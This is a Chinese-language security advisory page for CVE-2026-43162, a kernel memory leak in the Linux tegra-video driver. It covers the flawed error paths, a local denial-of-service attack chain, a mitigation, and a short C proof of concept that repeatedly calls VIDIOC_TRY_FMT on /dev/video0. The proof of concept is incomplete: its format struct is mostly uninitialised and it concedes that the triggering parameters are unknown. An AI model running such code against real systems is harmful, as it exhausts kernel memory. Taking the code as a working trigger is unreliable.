IPBUF安全漏洞报告
English
CVE-2026-43162 CVSS 5.5 中危

CVE-2026-43162 Linux内核tegra-video内存泄漏漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43162
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存泄漏DoS本地漏洞Tegra

漏洞概述

Linux内核中的tegra-video驱动模块存在内存泄漏漏洞。该漏洞源于__tegra_channel_try_format函数的错误处理路径缺陷,当v4l2_subdev_call调用失败时,未正确释放由__v4l2_subdev_state_alloc分配的sd_state对象。本地低权限攻击者可通过触发特定错误路径利用此漏洞,导致系统内存持续耗尽,进而影响系统可用性。

技术细节

该漏洞位于Linux内核的媒体子系统,具体涉及Tegra视频驱动(drivers/media/platform/tegra/video/vi.c)中的__tegra_channel_try_format()函数。该函数主要负责尝试配置视频通道的格式。在函数执行过程中,代码首先调用__v4l2_subdev_state_alloc()分配了一个名为sd_state的状态对象,该对象必须在不再使用时通过__v4l2_subdev_state_free()释放以避免内存泄漏。

然而,代码逻辑存在缺陷:在调用v4l2_subdev_call()进行子设备配置时,如果该调用失败,函数存在两条错误处理路径直接执行return语句返回。在这两条路径中,程序跳过了释放sd_state对象的步骤,导致分配的内存未被回收。

攻击者需拥有本地低权限账号(PR:L),通过恶意构造的视频格式设置请求,反复触发v4l2_subdev_call()失败的错误路径。由于每次失败都会泄漏一定量的内核内存,长期运行可导致系统内核内存耗尽,从而造成系统拒绝服务(DoS),影响系统可用性(A:H)。

攻击链分析

STEP 1
1. 本地访问
攻击者获得本地系统的低权限用户访问权限。
STEP 2
2. 触发漏洞
攻击者通过用户空间程序调用V4L2相关的ioctl接口,尝试设置视频格式。
STEP 3
3. 错误路径执行
特定的参数导致v4l2_subdev_call()调用失败,程序进入错误处理路径。
STEP 4
4. 内存泄漏
错误路径直接返回,未释放分配的'sd_state'对象,导致内核内存泄漏。
STEP 5
5. 拒绝服务
反复利用此漏洞耗尽内核内存,导致系统崩溃或无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43162 * This code attempts to trigger the memory leak in __tegra_channel_try_format * by opening the video device and setting a format that leads to an error path. * Repeated execution will consume kernel memory. */ #include <fcntl.h> #include <linux/videodev2.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { int fd = open("/dev/video0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct v4l2_format fmt; // Initialize format to potentially trigger error in v4l2_subdev_call fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; // Set specific parameters that might cause subdevice failure // (Actual parameters depend on specific hardware/driver configuration) for(int i = 0; i < 1000; i++) { if (ioctl(fd, VIDIOC_TRY_FMT, &fmt) < 0) { // If ioctl fails, the driver might hit the leak path // depending on the specific error condition in tegra-video } } close(fd); return 0; }

影响范围

Linux Kernel (受影响的稳定版内核)

防御指南

临时缓解措施
限制非特权用户对视频设备(/dev/video*)的访问权限,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表